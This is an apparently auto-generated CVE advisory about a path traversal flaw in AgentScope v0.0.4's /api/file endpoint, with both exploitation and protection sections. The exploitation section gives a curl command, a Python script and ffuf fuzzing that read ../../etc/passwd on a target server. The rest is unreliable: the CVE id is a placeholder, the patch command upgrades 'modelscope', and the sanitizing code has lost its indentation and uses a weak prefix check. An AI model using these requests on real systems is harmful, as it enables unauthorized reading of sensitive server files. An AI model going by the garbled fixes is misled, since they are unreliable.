AgentScope, Path Traversal, CVE-2025-XXXX (High Severity)

How the CVE Works:

The vulnerability in AgentScope (version v.0.0.4) lies in the `/api/file` endpoint, which fails to properly sanitize the `path` parameter. This oversight allows an attacker to manipulate the `path` input to traverse directories and access arbitrary files on the server. For example, by submitting a crafted request like /api/file?path=../../etc/passwd, an attacker could potentially read sensitive system files. This path traversal flaw stems from insufficient validation of user-supplied input, enabling unauthorized access to restricted files and directories.

DailyCVE Form:

Platform: AgentScope
Version: v.0.0.4
Vulnerability: Path Traversal
Severity: High
Date: Mar 20, 2025

What Undercode Say:

Exploitation:

1. Craft Malicious Request: Use tools like `curl` or Python scripts to send a crafted request to the `/api/file` endpoint.

   curl "http://target.com/api/file?path=../../etc/passwd"
   

2. Automate with Scripts: Write a Python script to automate file extraction.

   import requests
   target = "http://target.com/api/file"
   payload = {"path": "../../etc/passwd"}
   response = requests.get(target, params=payload)
   print(response.text)
   

3. Fuzz for Paths: Use tools like `ffuf` to discover accessible files.

   ffuf -w wordlist.txt -u "http://target.com/api/file?path=FUZZ"
   

Protection:

1. Input Validation: Sanitize user input to prevent directory traversal.

   import os
   def sanitize_path(user_input):
   base_dir = "/allowed/path"
   abs_path = os.path.abspath(os.path.join(base_dir, user_input))
   if not abs_path.startswith(base_dir):
   raise ValueError("Invalid path")
   return abs_path
   

2. Use Secure Libraries: Implement libraries like `werkzeug.utils.secure_filename` to sanitize filenames.

   from werkzeug.utils import secure_filename
   filename = secure_filename(user_input)
   

3. Web Application Firewall (WAF): Deploy a WAF to block malicious requests.
4. Patch Update: Upgrade to the latest version of AgentScope if a patch is available.

Analytics:

• Impact: Unauthorized file access, potential data leakage, and system compromise.
• Attack Vector: Remote exploitation via crafted HTTP requests.
• Mitigation Complexity: Low to moderate, requiring input validation and secure coding practices.

Commands:

• Test Vulnerability:

  curl "http://target.com/api/file?path=../../etc/passwd"
  

• Monitor Logs:

  tail -f /var/log/nginx/access.log | grep "/api/file"
  

• Patch Deployment:

  pip install --upgrade modelscope
  

  By following these steps, you can exploit or protect against this vulnerability effectively.
